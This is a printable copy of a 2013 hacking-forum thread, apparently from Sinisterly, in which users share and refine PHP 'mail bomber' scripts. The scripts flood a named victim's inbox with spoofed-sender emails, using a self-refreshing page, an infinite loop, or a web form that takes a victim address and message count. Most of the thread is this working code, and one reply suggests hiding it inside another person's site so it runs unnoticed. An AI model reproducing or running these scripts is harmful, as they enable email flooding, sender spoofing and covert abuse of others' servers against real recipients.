Sinisterly
PHP E-mail Bomber - Printable Version

+- Sinisterly (https://sinister.li)
+-- Forum: Coding (https://sinister.li/Forum-Coding)
+--- Forum: PHP (https://sinister.li/Forum-PHP)
+--- Thread: PHP E-mail Bomber (/Thread-PHP-E-mail-Bomber)



PHP E-mail Bomber - noize - 01-28-2013

I think the simple is the better.
Redirecting method:
PHP Code:
<?php $body = "My name is noize. noize the mailbomber. i'm a hacker, my friend."; $body .= "\nM4ILB0MB3D!"; $email = "noize@thehacker.com"; $object = "H4CK3D!"; @mail('victimmail', $object, $body, "From: $email"); ?> <meta http-equiv="refresh" content="0;URL=http://www.server.com/mailbomber.php">

Looped (have to thank hackarchives):
PHP Code:
<html> <title>Mailbomber by noize</title> <form action="" method="post"> Sender's email: <input type="text" name="sender" size="30" /><br> Victim's email:&nbsp; <input type="text" name="victim" size="30" /><br> Subject: <input type="text" name="subject" size="37" /><br> Body: <input type="text" name="body" size="39" /><br> Number of emails to send:&nbsp; <input type="text" name="number" size="18" /><br> <input type="submit" value="Start" style="position: relative; top: 11px; left: 180px; width: 115px; height: 30px;" /><br> <input type="hidden" name="submitted" value="TRUE" /> </form> </html> <?php if(isset($_POST['submit'])) { $body = $_POST['body']; $body .= "\nM4ILB0MB3D!"; $victim = $_POST['victim']; $sender = $_POST['sender']; $subject = $_POST['subject']; $a = $_POST['number']; $i = 0; while ($i<=$a) { @mail("$victim", $subject, $body, "From: $sender"); $i++; } echo "Sent " . $i . " emails.<br>"; } ?>

body is the content of the email.
sender is the sender and victim the receiver.
server.com your website where hosting this script.
object is the subject of the message.

this is a very basical PHP script but does its job.
thanks anybody.


RE: PHP E-mail Bomber - hackarchives - 01-29-2013

Better use a for loop instead of a redirection circle


RE: PHP E-mail Bomber - The Alchemist - 01-29-2013

(01-29-2013, 05:46 PM)hackarchives Wrote: Better use a for loop instead of a redirection circle
Exactly what I wanted to say. Why keep redirecting?


RE: PHP E-mail Bomber - noize - 01-29-2013

(01-28-2013, 11:59 PM)noize Wrote: I think the simple is the better.
So I just coded this out in the last 2 minutes (really spent more time on writing the else of the thread). I tried this and it's perfectly working for me.
PHP Code:
<?php $body = "My name is noize. noize the mailbomber. i'm a hacker, my friend."; $body .= "\nM4ILB0MB3D!"; $email = "noize@thehacker.com"; $object = "H4CK3D!"; @mail('victimmail', $object, $body, "From: $email"); ?> <meta http-equiv="refresh" content="0;URL=http://www.server.com/mailbomber.php">

body is the content of the email.
email is the sender and victimmail the receiver.
server.com your website where hosting this script.
object is the subject of the message.

this is a very basical PHP script but does its job. leave it open and will keep on refreshing and resending the email.
to use just for PHP learning and not to mailbomb different accounts from yours as it is - probably not illegal - but probably considerable as black-hating.
thanks anybody.

that's right, man, a loop is fine too.
PHP Code:
<?php $body = "My name is noize. noize the mailbomber. i'm a hacker, my friend."; $body .= "\nM4ILB0MB3D!"; $email = "noize@thehacker.com"; $object = "H4CK3D!"; for(;;) { @mail('victim', $object, $body, "From: $email"); } ?>
actually, I don't know why I didn't think about it before.
plus, with the loop you can show the number of emails sent with
PHP Code:
$i=0;
and
PHP Code:
$i++;
at the end of the loop.
that's surely a better way.


RE: PHP E-mail Bomber - hackarchives - 01-29-2013

Yeah..Or you can just increase the functionality by asking the user how many emails to send..[check my signature link Wink ]


RE: PHP E-mail Bomber - noize - 01-29-2013

(01-29-2013, 07:46 PM)hackarchives Wrote: Yeah..Or you can just increase the functionality by asking the user how many emails to send..[check my signature link Wink ]

I already checked that out Wink
I think I got what you meant... yeah, could make something easierly settable like:
PHP Code:
<html> <head> <title>Mailbomber</title> </head> <body> <form action="mailbomber.php" method="post"> Sender's email: <input type="text" name="sender" size="30" /><br> Victim's email:&nbsp; <input type="text" name="victim" size="30" /><br> Subject: <input type="text" name="subject" size="37" /><br> Body: <input type="text" name="body" size="39" /><br> Number of emails to send:&nbsp; <input type="text" name="number" size="18" /><br> <input type="submit" value="Start" style="position: relative; top: 11px; left: 180px; width: 115px; height: 30px;" /><br> <input type="hidden" name="submitted" value="TRUE" /> </form> <?php $body = $_POST['body']; $body .= "\nM4ILB0MB3D!"; $victim = $_POST['victim']; $sender = $_POST['sender']; $subject = $_POST['subject']; $a = $_POST['number']; $i = 0; while ($i<=$a) { @mail("$victim", $subject, $body, "From: $sender"); $i++; } echo "Sent " . $i . " emails.<br>"; ?> </body> </html>



RE: PHP E-mail Bomber - hackarchives - 01-29-2013

Just a minor mistake..In the code below the form, add POST submission check
PHP Code:
if(isset($_POST['submit'])) { $body = $_POST['body']; $body .= "\nM4ILB0MB3D!"; $victim = $_POST['victim']; $sender = $_POST['sender']; $subject = $_POST['subject']; $a = $_POST['number']; $i = 0; while ($i<=$a) { @mail("$victim", $subject, $body, "From: $sender"); $i++; } echo "Sent " . $i . " emails.<br>"; }



RE: PHP E-mail Bomber - noize - 01-29-2013

(01-29-2013, 08:50 PM)hackarchives Wrote: Just a minor mistake..In the code below the form, add POST submission check
PHP Code:
if(isset($_POST['submit'])) { $body = $_POST['body']; $body .= "\nM4ILB0MB3D!"; $victim = $_POST['victim']; $sender = $_POST['sender']; $subject = $_POST['subject']; $a = $_POST['number']; $i = 0; while ($i<=$a) { @mail("$victim", $subject, $body, "From: $sender"); $i++; } echo "Sent " . $i . " emails.<br>"; }

Oh, that's true! thanks.


RE: PHP E-mail Bomber - netspace - 03-01-2013

I remember doing this back when I just got the hang of PHP Cool The redirecting method can be easily detected and stopped. Suppose you are implementing this inside another person's code, the second method may execute smoothly without anyone suspecting anything. However, considering that PHP is blocking, it your little snippet may draw attention because the code that follows takes time to execute or never executes at all.


RE: PHP E-mail Bomber - SergenteJoker98 - 03-01-2013

Wow good Wink